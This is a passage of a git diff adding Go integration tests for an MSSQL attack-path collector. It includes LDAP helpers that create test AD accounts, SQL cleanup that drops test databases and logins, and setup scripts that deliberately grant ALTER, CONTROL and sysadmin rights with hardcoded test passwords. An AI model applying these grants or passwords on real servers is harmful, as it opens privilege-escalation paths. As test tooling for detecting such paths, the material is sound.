if err := conn.Modify(modReq); err != nil { + t.Logf("Warning: Failed to set password for %s: %v", username, err) + } + + t.Logf("Created domain user: %s", username) +} + +// createComputerAccount creates an AD computer account via LDAP. +func createComputerAccount(t *testing.T, conn *ldap.Conn, ouDN, name string) { + t.Helper() + + dn := fmt.Sprintf("CN=%s,%s", name, ouDN) + + // Check if computer already exists + searchReq := ldap.NewSearchRequest( + ouDN, ldap.ScopeSingleLevel, ldap.NeverDerefAliases, 0, 0, false, + fmt.Sprintf("(sAMAccountName=%s$)", name), + []string{"dn"}, nil) + sr, err := conn.Search(searchReq) + if err == nil && len(sr.Entries) > 0 { + t.Logf("Computer account already exists: %s", name) + return + } + + addReq := ldap.NewAddRequest(dn, nil) + addReq.Attribute("objectClass", []string{"top", "person", "organizationalPerson", "user", "computer"}) + addReq.Attribute("cn", []string{name}) + addReq.Attribute("sAMAccountName", []string{name + "$"}) + addReq.Attribute("userAccountControl", []string{"4096"}) // WORKSTATION_TRUST_ACCOUNT + + if err := conn.Add(addReq); err != nil { + t.Logf("Warning: Failed to create computer account %s: %v", name, err) + return + } + + t.Logf("Created computer account: %s$", name) +} + +// createSecurityGroup creates an AD security group via LDAP. +func createSecurityGroup(t *testing.T, conn *ldap.Conn, ouDN, name string) { + t.Helper() + + dn := fmt.Sprintf("CN=%s,%s", name, ouDN) + + // Check if group already exists + searchReq := ldap.NewSearchRequest( + ouDN, ldap.ScopeSingleLevel, ldap.NeverDerefAliases, 0, 0, false, + fmt.Sprintf("(sAMAccountName=%s)", name), + []string{"dn"}, nil) + sr, err := conn.Search(searchReq) + if err == nil && len(sr.Entries) > 0 { + t.Logf("Security group already exists: %s", name) + return + } + + addReq := ldap.NewAddRequest(dn, nil) + addReq.Attribute("objectClass", []string{"top", "group"}) + addReq.Attribute("cn", []string{name}) + addReq.Attribute("sAMAccountName", []string{name}) + addReq.Attribute("groupType", []string{"-2147483646"}) // Global Security group + + if err := conn.Add(addReq); err != nil { + t.Logf("Warning: Failed to create security group %s: %v", name, err) + return + } + + t.Logf("Created security group: %s", name) +} + +// addGroupMember adds a member to an AD group via LDAP. +func addGroupMember(t *testing.T, conn *ldap.Conn, groupDN, memberDN string) { + t.Helper() + + modReq := ldap.NewModifyRequest(groupDN, nil) + modReq.Add("member", []string{memberDN}) + + if err := conn.Modify(modReq); err != nil { + if !strings.Contains(err.Error(), "Already Exists") && + !strings.Contains(err.Error(), "ENTRY_EXISTS") { + t.Logf("Warning: Failed to add %s to group %s: %v", memberDN, groupDN, err) + } + } +} + +// removeDomainObjects deletes all test AD objects. +func removeDomainObjects(t *testing.T, cfg *integrationConfig) { + t.Helper() + + if cfg.SkipDomain { + t.Log("Skipping domain object removal (MSSQL_SKIP_DOMAIN=true)") + return + } + + conn, baseDN, err := ldapConnect(cfg) + if err != nil { + t.Logf("Warning: Failed to connect to LDAP for cleanup: %v", err) + return + } + defer conn.Close() + + usersOU := "CN=Users," + baseDN + computersOU := "CN=Computers," + baseDN + + // Delete in reverse order: group first (has members), then users and computers + objectsToDelete := []string{ + "CN=EdgeTestDomainGroup," + usersOU, + "CN=EdgeTestDomainUser1," + usersOU, + "CN=EdgeTestDomainUser2," + usersOU, + "CN=EdgeTestSysadmin," + usersOU, + "CN=EdgeTestServiceAcct," + usersOU, + "CN=EdgeTestDisabledUser," + usersOU, + "CN=EdgeTestNoConnect," + usersOU, + "CN=EdgeTestCoerce," + usersOU, + "CN=CoerceTestUser," + usersOU, + "CN=TestComputer," + computersOU, + "CN=CoerceTestEnabled1," + computersOU, + "CN=CoerceTestEnabled2," + computersOU, + "CN=CoerceTestDisabled," + computersOU, + "CN=CoerceTestNoConnect," + computersOU, + } + + for _, dn := range objectsToDelete { + delReq := ldap.NewDelRequest(dn, nil) + if err := conn.Del(delReq); err != nil { + if !strings.Contains(err.Error(), "No Such Object") { + t.Logf("Warning: Failed to delete %s: %v", dn, err) + } + } else { + t.Logf("Deleted domain object: %s", dn) + } + } +} + +// ============================================================================= +// SETUP / TEARDOWN ORCHESTRATION +// ============================================================================= + +// runSetup executes the full test environment setup. +func runSetup(t *testing.T, cfg *integrationConfig) { + t.Helper() + + t.Logf("Using %d embedded setup scripts", len(setupScripts)) + + // 1. Connect to SQL Server as sysadmin + db, err := connectSQL(cfg) + if err != nil { + t.Fatalf("Failed to connect to SQL Server: %v", err) + } + defer db.Close() + + ctx := context.Background() + + // 2. Run cleanup first (idempotent) + t.Log("Running cleanup SQL...") + cleanup := substituteDomain(cleanupSQL, cfg.Domain) + if err := executeSQLBatches(ctx, db, cleanup, 120); err != nil { + t.Logf("Cleanup had warnings (normal on first run): %v", err) + } + + // 3. Create AD domain objects + t.Log("Creating domain objects...") + createDomainObjects(t, cfg) + + // 4. Run all setup scripts + for edgeType, sqlScript := range setupScripts { + if cfg.LimitToEdge != "" { + shortName := strings.TrimPrefix(cfg.LimitToEdge, "MSSQL_") + if !strings.EqualFold(edgeType, shortName) { + continue + } + } + + t.Logf("Setting up MSSQL_%s test environment...", edgeType) + resolved := substituteDomain(sqlScript, cfg.Domain) + if err := executeSQLBatches(ctx, db, resolved, 60); err != nil { + t.Fatalf("Failed to setup MSSQL_%s: %v", edgeType, err) + } + } + + t.Log("Test environment setup completed successfully") +} + +// runTeardown cleans up the test environment. +func runTeardown(t *testing.T, cfg *integrationConfig) { + t.Helper() + + // 1. Connect to SQL Server + db, err := connectSQL(cfg) + if err != nil { + t.Fatalf("Failed to connect to SQL Server: %v", err) + } + defer db.Close() + + // 2. Run cleanup SQL + t.Log("Running cleanup SQL...") + ctx := context.Background() + cleanup := substituteDomain(cleanupSQL, cfg.Domain) + if err := executeSQLBatches(ctx, db, cleanup, 120); err != nil { + t.Logf("Warning: Cleanup had errors: %v", err) + } + + // 3. Remove AD objects + t.Log("Removing domain objects...") + removeDomainObjects(t, cfg) + + t.Log("Teardown completed") +} + +// ============================================================================= +// HELPER FUNCTIONS +// ============================================================================= + +// encodeADPassword encodes a password for AD LDAP unicodePwd attribute. +func encodeADPassword(password string) string { + quotedPassword := "\"" + password + "\"" + encoded := make([]byte, len(quotedPassword)*2) + for i, c := range quotedPassword { + encoded[i*2] = byte(c) + encoded[i*2+1] = byte(c >> 8) + } + return string(encoded) +} + +// extractDomainFromDN extracts the domain name from a distinguished name. +// e.g., "CN=Users,DC=mayyhem,DC=com" -> "mayyhem.com" +func extractDomainFromDN(dn string) string { + var parts []string + for _, component := range strings.Split(dn, ",") { + component = strings.TrimSpace(component) + if strings.HasPrefix(strings.ToUpper(component), "DC=") { + parts = append(parts, component[3:]) + } + } + return strings.Join(parts, ".") +} diff --git a/go/internal/collector/integration_sql_test.go b/go/internal/collector/integration_sql_test.go new file mode 100644 index 0000000..b07871b --- /dev/null +++ b/go/internal/collector/integration_sql_test.go @@ -0,0 +1,2967 @@ +//go:build integration + +package collector + +// Code generated by gen_sql_test.go from Invoke-MSSQLHoundUnitTests.ps1; DO NOT EDIT. + +// cleanupSQL tears down all test objects created by the setup scripts. +// Domain substitution should be applied before execution. +const cleanupSQL = ` +USE master; +GO + +-- First, kill all connections to EdgeTest databases +DECLARE @kill NVARCHAR(MAX); +SET @kill = ''; +DECLARE @sql NVARCHAR(MAX); + +-- Get SQL Server version +DECLARE @version INT; +SET @version = CAST(PARSENAME(CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR(20)), 4) AS INT); + +-- Build the kill command dynamically based on version +IF @version >= 10 -- SQL Server 2008 and later +BEGIN + SET @sql = ' + SELECT @killList = @killList + ''KILL '' + CAST(session_id AS VARCHAR(10)) + ''; '' + FROM sys.dm_exec_sessions + WHERE database_id IN (SELECT database_id FROM sys.databases WHERE name LIKE ''EdgeTest_%'' OR name LIKE ''ExecuteAsOwnerTest_%'')'; + + EXEC sp_executesql @sql, N'@killList NVARCHAR(MAX) OUTPUT', @killList = @kill OUTPUT; +END +ELSE -- SQL Server 2005 +BEGIN + SELECT @kill = @kill + 'KILL ' + CAST(spid AS VARCHAR(10)) + '; ' + FROM sys.sysprocesses + WHERE dbid IN (SELECT dbid FROM sys.sysdatabases WHERE name LIKE 'EdgeTest_%' OR name LIKE 'ExecuteAsOwnerTest_%'); +END + +IF @kill != '' +BEGIN + BEGIN TRY + EXEC(@kill); + END TRY + BEGIN CATCH + PRINT 'Some connections could not be killed'; + END CATCH +END +GO + +-- Drop all test databases first (this resolves login ownership issues) +DECLARE @sql NVARCHAR(MAX); +SET @sql = ''; +SELECT @sql = @sql + + 'IF EXISTS (SELECT * FROM sys.databases WHERE name = ''' + name + ''') + BEGIN + ALTER DATABASE [' + name + '] SET SINGLE_USER WITH ROLLBACK IMMEDIATE; + DROP DATABASE [' + name + ']; + END + ' +FROM sys.databases +WHERE name LIKE 'EdgeTest_%' OR name LIKE 'ExecuteAsOwnerTest_%'; + +IF @sql != '' +BEGIN + EXEC sp_executesql @sql; +END +GO + +-- Remove all role members before dropping roles +DECLARE @roleName NVARCHAR(128); +DECLARE @memberName NVARCHAR(128); +DECLARE @sql2 NVARCHAR(MAX); +DECLARE @memberCursorSQL NVARCHAR(MAX); + +-- Check SQL Server version for is_fixed_role support +DECLARE @version2 INT; +SET @version2 = CAST(PARSENAME(CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR(20)), 4) AS INT); + +IF @version2 >= 11 -- SQL Server 2012+ +BEGIN + SET @memberCursorSQL = ' + DECLARE role_member_cursor CURSOR FOR + SELECT r.name as RoleName, p.name as MemberName + FROM sys.server_role_members rm + JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + JOIN sys.server_principals p ON rm.member_principal_id = p.principal_id + WHERE r.type = ''R'' + AND r.is_fixed_role = 0 + AND r.name LIKE ''%Test_%'';'; +END +ELSE -- SQL Server 2005-2008 R2 +BEGIN + SET @memberCursorSQL = ' + DECLARE role_member_cursor CURSOR FOR + SELECT r.name as RoleName, p.name as MemberName + FROM sys.server_role_members rm + JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + JOIN sys.server_principals p ON rm.member_principal_id = p.principal_id + WHERE r.type = ''R'' + AND r.name NOT IN (''sysadmin'', ''securityadmin'', ''serveradmin'', ''setupadmin'', ''processadmin'', ''diskadmin'', ''dbcreator'', ''bulkadmin'', ''public'') + AND r.name LIKE ''%Test_%'';'; +END + +EXEC sp_executesql @memberCursorSQL; + +OPEN role_member_cursor; +FETCH NEXT FROM role_member_cursor INTO @roleName, @memberName; + +WHILE @@FETCH_STATUS = 0 +BEGIN + BEGIN TRY + SET @sql2 = 'ALTER SERVER ROLE [' + @roleName + '] DROP MEMBER [' + @memberName + ']'; + EXEC(@sql2); + PRINT 'Removed ' + @memberName + ' from role ' + @roleName; + END TRY + BEGIN CATCH + PRINT 'Could not remove member from role: ' + ERROR_MESSAGE(); + END CATCH + + FETCH NEXT FROM role_member_cursor INTO @roleName, @memberName; +END + +CLOSE role_member_cursor; +DEALLOCATE role_member_cursor; +GO + +-- Now drop all test server roles +DECLARE @roleName2 NVARCHAR(128); +DECLARE @roleCursorSQL NVARCHAR(MAX); +DECLARE @version3 INT; +SET @version3 = CAST(PARSENAME(CAST(SERVERPROPERTY('ProductVersion') AS VARCHAR(20)), 4) AS INT); + +IF @version3 >= 11 -- SQL Server 2012+ +BEGIN + SET @roleCursorSQL = ' + DECLARE role_cursor CURSOR FOR + SELECT name FROM sys.server_principals + WHERE type = ''R'' + AND is_fixed_role = 0 + AND name LIKE ''%Test_%'';'; +END +ELSE -- SQL Server 2005-2008 R2 +BEGIN + SET @roleCursorSQL = ' + DECLARE role_cursor CURSOR FOR + SELECT name FROM sys.server_principals + WHERE type = ''R'' + AND name NOT IN (''sysadmin'', ''securityadmin'', ''serveradmin'', ''setupadmin'', ''processadmin'', ''diskadmin'', ''dbcreator'', ''bulkadmin'', ''public'') + AND name LIKE ''%Test_%'';'; +END + +EXEC sp_executesql @roleCursorSQL; + +OPEN role_cursor; +FETCH NEXT FROM role_cursor INTO @roleName2; + +WHILE @@FETCH_STATUS = 0 +BEGIN + BEGIN TRY + EXEC('DROP SERVER ROLE [' + @roleName2 + ']'); + PRINT 'Dropped server role: ' + @roleName2; + END TRY + BEGIN CATCH + PRINT 'Could not drop server role: ' + @roleName2 + ' - ' + ERROR_MESSAGE(); + END CATCH + + FETCH NEXT FROM role_cursor INTO @roleName2; +END + +CLOSE role_cursor; +DEALLOCATE role_cursor; +GO + +-- Drop all test logins +DECLARE @loginName NVARCHAR(128); +DECLARE login_cursor CURSOR FOR + SELECT name FROM sys.server_principals + WHERE type IN ('S', 'U', 'G') + AND name LIKE '%Test%'; + +OPEN login_cursor; +FETCH NEXT FROM login_cursor INTO @loginName; + +WHILE @@FETCH_STATUS = 0 +BEGIN + BEGIN TRY + EXEC('DROP LOGIN [' + @loginName + ']'); + PRINT 'Dropped login: ' + @loginName; + END TRY + BEGIN CATCH + PRINT 'Could not drop login: ' + @loginName + ' - ' + ERROR_MESSAGE(); + END CATCH + + FETCH NEXT FROM login_cursor INTO @loginName; +END + +CLOSE login_cursor; +DEALLOCATE login_cursor; +GO + +-- Drop credentials +IF EXISTS (SELECT * FROM sys.credentials WHERE name LIKE 'EdgeTest_%') +BEGIN + DECLARE @credName NVARCHAR(128); + DECLARE cred_cursor CURSOR FOR + SELECT name FROM sys.credentials WHERE name LIKE 'EdgeTest_%'; + + OPEN cred_cursor; + FETCH NEXT FROM cred_cursor INTO @credName; + + WHILE @@FETCH_STATUS = 0 + BEGIN + BEGIN TRY + EXEC('DROP CREDENTIAL [' + @credName + ']'); + PRINT 'Dropped credential: ' + @credName; + END TRY + BEGIN CATCH + PRINT 'Could not drop credential: ' + @credName; + END CATCH + + FETCH NEXT FROM cred_cursor INTO @credName; + END + + CLOSE cred_cursor; + DEALLOCATE cred_cursor; +END +GO + +-- Drop linked servers +IF EXISTS (SELECT * FROM sys.servers WHERE is_linked = 1 AND name LIKE '%TESTLINKEDTO%') +BEGIN + DECLARE @linkedName NVARCHAR(128); + DECLARE linked_cursor CURSOR FOR + SELECT name FROM sys.servers WHERE is_linked = 1 AND name LIKE '%TESTLINKEDTO%'; + + OPEN linked_cursor; + FETCH NEXT FROM linked_cursor INTO @linkedName; + + WHILE @@FETCH_STATUS = 0 + BEGIN + BEGIN TRY + EXEC sp_dropserver @linkedName, 'droplogins'; + PRINT 'Dropped linked server: ' + @linkedName; + END TRY + BEGIN CATCH + PRINT 'Could not drop linked server: ' + @linkedName; + END CATCH + + FETCH NEXT FROM linked_cursor INTO @linkedName; + END + + CLOSE linked_cursor; + DEALLOCATE linked_cursor; +END +GO + +PRINT 'Cleanup completed'; +` + +// setupScripts maps edge type names to their SQL setup scripts. +// Domain substitution ($Domain/MAYYHEM -> actual domain) should be applied before execution. +var setupScripts = map[string]string{ + "AddMember": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_AddMember EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_AddMember edges + +-- Note: Principals cannot be assigned ALTER/CONTROL on a fixed server role or database role + +-- Create test database if it doesn't exist +CREATE DATABASE [EdgeTest_AddMember]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login -> ServerRole +-- ===================================================== + +-- Login with ALTER permission on user-defined server role +CREATE LOGIN [AddMemberTest_Login_CanAlterServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE SERVER ROLE [AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole]; +GRANT ALTER ON SERVER ROLE::[AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole] TO [AddMemberTest_Login_CanAlterServerRole]; + +-- Login with CONTROL permission on user-defined server role +CREATE LOGIN [AddMemberTest_Login_CanControlServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE SERVER ROLE [AddMemberTest_ServerRole_TargetOf_Login_CanControlServerRole]; +GRANT CONTROL ON SERVER ROLE::[AddMemberTest_ServerRole_TargetOf_Login_CanControlServerRole] TO [AddMemberTest_Login_CanControlServerRole]; + +-- Login with ALTER ANY SERVER ROLE permission can add to any user-defined role +CREATE LOGIN [AddMemberTest_Login_CanAlterAnyServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ANY SERVER ROLE TO [AddMemberTest_Login_CanAlterAnyServerRole]; + +-- Login with ALTER ANY SERVER ROLE and member of fixed role can add to that fixed role +ALTER SERVER ROLE [processadmin] ADD MEMBER [AddMemberTest_Login_CanAlterAnyServerRole]; + +-- Login with ALTER ANY SERVER ROLE cannot add to sysadmin even as member (negative test) +ALTER SERVER ROLE [sysadmin] ADD MEMBER [AddMemberTest_Login_CanAlterAnyServerRole]; +-- Even though member of sysadmin, cannot add members to sysadmin role + +-- ===================================================== +-- SERVER LEVEL: ServerRole -> ServerRole +-- ===================================================== + +-- Server role with ALTER permission on user-defined role +CREATE SERVER ROLE [AddMemberTest_ServerRole_CanAlterServerRole]; +CREATE SERVER ROLE [AddMemberTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole]; +GRANT ALTER ON SERVER ROLE::[AddMemberTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole] TO [AddMemberTest_ServerRole_CanAlterServerRole]; + +-- Server role with CONTROL permission on user-defined role +CREATE SERVER ROLE [AddMemberTest_ServerRole_CanControlServerRole]; +CREATE SERVER ROLE [AddMemberTest_ServerRole_TargetOf_ServerRole_CanControlServerRole]; +GRANT CONTROL ON SERVER ROLE::[AddMemberTest_ServerRole_TargetOf_ServerRole_CanControlServerRole] TO [AddMemberTest_ServerRole_CanControlServerRole]; + +-- Server role with ALTER ANY SERVER ROLE can add to any user-defined role +CREATE SERVER ROLE [AddMemberTest_ServerRole_CanAlterAnyServerRole]; +GRANT ALTER ANY SERVER ROLE TO [AddMemberTest_ServerRole_CanAlterAnyServerRole]; + +-- Server role with ALTER ANY SERVER ROLE and member of fixed role can add to that fixed role +ALTER SERVER ROLE [processadmin] ADD MEMBER [AddMemberTest_ServerRole_CanAlterAnyServerRole]; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_AddMember]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser -> DatabaseRole +-- ===================================================== + +-- Database user with ALTER on user-defined role +CREATE USER [AddMemberTest_User_CanAlterDbRole] WITHOUT LOGIN; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole]; +GRANT ALTER ON ROLE::[AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole] TO [AddMemberTest_User_CanAlterDbRole]; + +-- Database user with CONTROL on user-defined role +CREATE USER [AddMemberTest_User_CanControlDbRole] WITHOUT LOGIN; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_User_CanControlDbRole]; +GRANT CONTROL ON ROLE::[AddMemberTest_DbRole_TargetOf_User_CanControlDbRole] TO [AddMemberTest_User_CanControlDbRole]; + +-- Database user with ALTER ANY ROLE can add to any user-defined role +CREATE USER [AddMemberTest_User_CanAlterAnyDbRole] WITHOUT LOGIN; +GRANT ALTER ANY ROLE TO [AddMemberTest_User_CanAlterAnyDbRole]; + +-- Database user with ALTER on database (grants ALTER ANY ROLE) can add to user-defined roles +CREATE USER [AddMemberTest_User_CanAlterDb] WITHOUT LOGIN; +GRANT ALTER ON DATABASE::[EdgeTest_AddMember] TO [AddMemberTest_User_CanAlterDb]; + +-- Create target roles for principals with ALTER on database +CREATE ROLE [AddMemberTest_DbRole_TargetOf_User_CanAlterDb]; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDb]; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDb]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseRole -> DatabaseRole +-- ===================================================== + +-- Database role with ALTER on a user-defined role +CREATE ROLE [AddMemberTest_DbRole_CanAlterDbRole]; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDbRole]; +GRANT ALTER ON ROLE::[AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDbRole] TO [AddMemberTest_DbRole_CanAlterDbRole]; + +-- Database role with CONTROL on a user-defined role +CREATE ROLE [AddMemberTest_DbRole_CanControlDbRole]; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_DbRole_CanControlDbRole]; +GRANT CONTROL ON ROLE::[AddMemberTest_DbRole_TargetOf_DbRole_CanControlDbRole] TO [AddMemberTest_DbRole_CanControlDbRole]; + +-- Database role with ALTER ANY ROLE can add to any user-defined role +CREATE ROLE [AddMemberTest_DbRole_CanAlterAnyDbRole]; +GRANT ALTER ANY ROLE TO [AddMemberTest_DbRole_CanAlterAnyDbRole]; + +-- Database role with ALTER on database (grants ALTER ANY ROLE) can add to user-defined roles +CREATE ROLE [AddMemberTest_DbRole_CanAlterDb] +GRANT ALTER ON DATABASE::[EdgeTest_AddMember] TO [AddMemberTest_DbRole_CanAlterDb] + +-- ===================================================== +-- DATABASE LEVEL: ApplicationRole -> DatabaseRole +-- ===================================================== + +-- Application role with ALTER on user-defined role +CREATE APPLICATION ROLE [AddMemberTest_AppRole_CanAlterDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDbRole]; +GRANT ALTER ON ROLE::[AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDbRole] TO [AddMemberTest_AppRole_CanAlterDbRole]; + +-- Application role with CONTROL on user-defined role +CREATE APPLICATION ROLE [AddMemberTest_AppRole_CanControlDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE ROLE [AddMemberTest_DbRole_TargetOf_AppRole_CanControlDbRole]; +GRANT CONTROL ON ROLE::[AddMemberTest_DbRole_TargetOf_AppRole_CanControlDbRole] TO [AddMemberTest_AppRole_CanControlDbRole]; + +-- Application role with ALTER ANY ROLE can add to any user-defined role +CREATE APPLICATION ROLE [AddMemberTest_AppRole_CanAlterAnyDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ANY ROLE TO [AddMemberTest_AppRole_CanAlterAnyDbRole]; + +-- Application role with ALTER on database (grants ALTER ANY ROLE) can add to user-defined roles +CREATE APPLICATION ROLE [AddMemberTest_AppRole_CanAlterDb] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ON DATABASE::[EdgeTest_AddMember] TO [AddMemberTest_AppRole_CanAlterDb]; + +USE master; +GO + +PRINT 'MSSQL_AddMember test setup completed'; +`, + "Alter": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_Alter EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_Alter edges (offensive, non-traversable) + +-- Create test database if it doesn't exist +CREATE DATABASE [EdgeTest_Alter]; +GO + +-- ===================================================== +-- SERVER LEVEL: Login/ServerRole -> ServerRole +-- ===================================================== +-- Note: There is no ALTER permission on the server itself + +-- Login with ALTER permission on login +CREATE LOGIN [AlterTest_Login_CanAlterLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE LOGIN [AlterTest_Login_TargetOf_Login_CanAlterLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ON LOGIN::[AlterTest_Login_TargetOf_Login_CanAlterLogin] TO [AlterTest_Login_CanAlterLogin]; + +-- Login with ALTER permission on server role +CREATE LOGIN [AlterTest_Login_CanAlterServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; +CREATE SERVER ROLE [AlterTest_ServerRole_TargetOf_Login_CanAlterServerRole]; +GRANT ALTER ON SERVER ROLE::[AlterTest_ServerRole_TargetOf_Login_CanAlterServerRole] TO [AlterTest_Login_CanAlterServerRole]; + +-- ServerRole with ALTER permission on login +CREATE SERVER ROLE [AlterTest_ServerRole_CanAlterLogin]; +CREATE LOGIN [AlterTest_Login_TargetOf_ServerRole_CanAlterLogin] WITH PASSWORD = 'EdgeTestP@ss123!'; +GRANT ALTER ON LOGIN::[AlterTest_Login_TargetOf_ServerRole_CanAlterLogin] TO [AlterTest_ServerRole_CanAlterLogin]; + +-- ServerRole with ALTER permission on server role +CREATE SERVER ROLE [AlterTest_ServerRole_CanAlterServerRole]; +CREATE SERVER ROLE [AlterTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole]; +GRANT ALTER ON SERVER ROLE::[AlterTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole] TO [AlterTest_ServerRole_CanAlterServerRole]; + +-- ===================================================== +-- DATABASE LEVEL SETUP +-- ===================================================== + +USE [EdgeTest_Alter]; +GO + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> Database +-- ===================================================== + +-- DatabaseUser with ALTER on database +CREATE USER [AlterTest_User_CanAlterDb] WITHOUT LOGIN; +GRANT ALTER ON DATABASE::[EdgeTest_Alter] TO [AlterTest_User_CanAlterDb]; + +-- DatabaseRole with ALTER on database +CREATE ROLE [AlterTest_DbRole_CanAlterDb]; +GRANT ALTER ON DATABASE::[EdgeTest_Alter] TO [AlterTest_DbRole_CanAlterDb]; + +-- ApplicationRole with ALTER on database +CREATE APPLICATION ROLE [AlterTest_AppRole_CanAlterDb] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ON DATABASE::[EdgeTest_Alter] TO [AlterTest_AppRole_CanAlterDb]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> DatabaseUser +-- ===================================================== + +-- DatabaseUser with ALTER on database user +CREATE USER [AlterTest_User_CanAlterDbUser] WITHOUT LOGIN; +CREATE USER [AlterTest_User_TargetOf_User_CanAlterDbUser] WITHOUT LOGIN; +GRANT ALTER ON USER::[AlterTest_User_TargetOf_User_CanAlterDbUser] TO [AlterTest_User_CanAlterDbUser]; + +-- DatabaseRole with ALTER on database user +CREATE ROLE [AlterTest_DbRole_CanAlterDbUser]; +CREATE USER [AlterTest_User_TargetOf_DbRole_CanAlterDbUser] WITHOUT LOGIN; +GRANT ALTER ON USER::[AlterTest_User_TargetOf_DbRole_CanAlterDbUser] TO [AlterTest_DbRole_CanAlterDbUser]; + +-- ApplicationRole with ALTER on database user +CREATE APPLICATION ROLE [AlterTest_AppRole_CanAlterDbUser] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE USER [AlterTest_User_TargetOf_AppRole_CanAlterDbUser] WITHOUT LOGIN; +GRANT ALTER ON USER::[AlterTest_User_TargetOf_AppRole_CanAlterDbUser] TO [AlterTest_AppRole_CanAlterDbUser]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> DatabaseRole +-- ===================================================== + +-- DatabaseUser with ALTER on database role +CREATE USER [AlterTest_User_CanAlterDbRole] WITHOUT LOGIN; +CREATE ROLE [AlterTest_DbRole_TargetOf_User_CanAlterDbRole]; +GRANT ALTER ON ROLE::[AlterTest_DbRole_TargetOf_User_CanAlterDbRole] TO [AlterTest_User_CanAlterDbRole]; + +-- DatabaseRole with ALTER on database role +CREATE ROLE [AlterTest_DbRole_CanAlterDbRole]; +CREATE ROLE [AlterTest_DbRole_TargetOf_DbRole_CanAlterDbRole]; +GRANT ALTER ON ROLE::[AlterTest_DbRole_TargetOf_DbRole_CanAlterDbRole] TO [AlterTest_DbRole_CanAlterDbRole]; + +-- ApplicationRole with ALTER on database role +CREATE APPLICATION ROLE [AlterTest_AppRole_CanAlterDbRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE ROLE [AlterTest_DbRole_TargetOf_AppRole_CanAlterDbRole]; +GRANT ALTER ON ROLE::[AlterTest_DbRole_TargetOf_AppRole_CanAlterDbRole] TO [AlterTest_AppRole_CanAlterDbRole]; + +-- ===================================================== +-- DATABASE LEVEL: DatabaseUser/DatabaseRole/ApplicationRole -> ApplicationRole +-- ===================================================== + +-- DatabaseUser with ALTER on application role +CREATE USER [AlterTest_User_CanAlterAppRole] WITHOUT LOGIN; +CREATE APPLICATION ROLE [AlterTest_AppRole_TargetOf_User_CanAlterAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ON APPLICATION ROLE::[AlterTest_AppRole_TargetOf_User_CanAlterAppRole] TO [AlterTest_User_CanAlterAppRole]; + +-- DatabaseRole with ALTER on application role +CREATE ROLE [AlterTest_DbRole_CanAlterAppRole]; +CREATE APPLICATION ROLE [AlterTest_AppRole_TargetOf_DbRole_CanAlterAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ON APPLICATION ROLE::[AlterTest_AppRole_TargetOf_DbRole_CanAlterAppRole] TO [AlterTest_DbRole_CanAlterAppRole]; + +-- ApplicationRole with ALTER on application role +CREATE APPLICATION ROLE [AlterTest_AppRole_CanAlterAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +CREATE APPLICATION ROLE [AlterTest_AppRole_TargetOf_AppRole_CanAlterAppRole] WITH PASSWORD = 'AppRoleP@ss123!'; +GRANT ALTER ON APPLICATION ROLE::[AlterTest_AppRole_TargetOf_AppRole_CanAlterAppRole] TO [AlterTest_AppRole_CanAlterAppRole]; + +USE master; +GO + +PRINT 'MSSQL_Alter test setup completed'; +`, + "AlterAnyAppRole": ` +USE master; +GO + +-- ===================================================== +-- COMPLETE SETUP FOR MSSQL_AlterAnyAppRole EDGE TESTING +-- ===================================================== +-- This creates all objects needed to test every source/target +-- combination for MSSQL_AlterAnyAppRole edges + +-- Create test database if it doesn't exist +IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = 'EdgeTest_AlterAnyAppRole') + CREATE DATABASE [EdgeTest_AlterAnyAppRole]; +GO + +USE [EdgeTest_AlterAnyAppRole]; +GO + +-- ===================================================== +-- OFFENSIVE: 